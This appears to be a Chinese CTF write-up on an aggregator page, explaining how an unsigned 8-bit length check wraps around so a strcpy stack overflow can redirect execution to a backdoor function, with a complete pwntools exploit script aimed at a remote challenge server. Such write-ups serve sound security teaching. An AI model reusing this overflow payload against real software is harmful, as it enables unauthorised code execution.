news 2026/4/15 8:41:36

PWN手的成长之路-19-int_overflow

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PWN手的成长之路-19-int_overflow

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:

无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。

查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108。

因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *

from LibcSearcher import *

#start

r = remote('61.147.171.103',59035)

elf = ELF('./pwn')

context.log_level = 'debug'

#params

backdoor_addr = elf.symbols['what_is_this']

#attack

payload = b'a'*(0x14+4) + p32(backdoor_addr)

payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`

r.sendlineafter(b'choice',b'1')

r.sendlineafter(b'username',b'111')

r.sendlineafter(b'passwd',payload)

r.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/14 10:35:38

我终于知道为什么这么多人夸 XinServer 了

我终于知道为什么这么多人夸 XinServer 了 最近跟几个创业的朋友聊天&#xff0c;发现一个挺有意思的现象。他们都在愁同一个事儿&#xff1a;产品想法贼棒&#xff0c;前端页面也做得飞快&#xff0c;但一到后端和服务器这块&#xff0c;进度就卡住了。要么是后端兄弟排期满了…

作者头像 李华
网站建设 2026/4/11 12:57:25

【原创实践】Docker 镜像批量导出镜像与导入镜像

1. 批量保存镜像到 .tar 文件 #!/bin/bash# 保存目录 SAVE_DIR/root/docker_images_backup mkdir -p $SAVE_DIR# 获取本地所有镜像列表 (Repository:Tag IMAGE ID) docker images --format "{{.Repository}}:{{.Tag}} {{.ID}}" | while read img id; do# 如果 TAG 是…

作者头像 李华
网站建设 2026/4/12 14:19:53

Thinkphp和Laravel宠物店交易商城管理系统的设计与实现-vue

目录 具体实现截图项目开发技术介绍PHP核心代码部分展示系统结论源码获取/同行可拿货,招校园代理 具体实现截图 本系统&#xff08;程序源码数据库调试部署讲解&#xff09;带文档1万字以上 同行可拿货,招校园代理 Thinkphp和Laravel宠物店交易商城管理系统的设计与实现-vue …

作者头像 李华
网站建设 2026/4/13 12:38:50

接口测试的分水岭时刻:Open-AutoGLM能否彻底取代Postman?真相令人意外

第一章&#xff1a;接口测试的分水岭时刻在软件测试的发展历程中&#xff0c;接口测试的兴起标志着从传统UI驱动验证向更高效、稳定和可维护的测试策略转型的关键节点。随着微服务架构的普及&#xff0c;系统间的依赖更多地通过API进行交互&#xff0c;使得接口成为质量保障的核…

作者头像 李华
网站建设 2026/4/13 12:47:32

Thinkphp和Laravel仓库火情火灾消防监测报警系统前vue端

目录具体实现截图项目开发技术介绍PHP核心代码部分展示系统结论源码获取/同行可拿货,招校园代理具体实现截图 本系统&#xff08;程序源码数据库调试部署讲解&#xff09;带文档1万字以上 同行可拿货,招校园代理 Thinkphp和Laravel仓库火情火灾消防监测报警系统前vue端 项…

作者头像 李华
网站建设 2026/4/10 20:52:32

Thinkphp和Laravel宠屋”宠物交易商城购物网站的设计与实现-vue

目录具体实现截图项目开发技术介绍PHP核心代码部分展示系统结论源码获取/同行可拿货,招校园代理具体实现截图 本系统&#xff08;程序源码数据库调试部署讲解&#xff09;带文档1万字以上 同行可拿货,招校园代理 Thinkphp和Laravel宠屋”宠物交易商城购物网站的设计与实现-vu…

作者头像 李华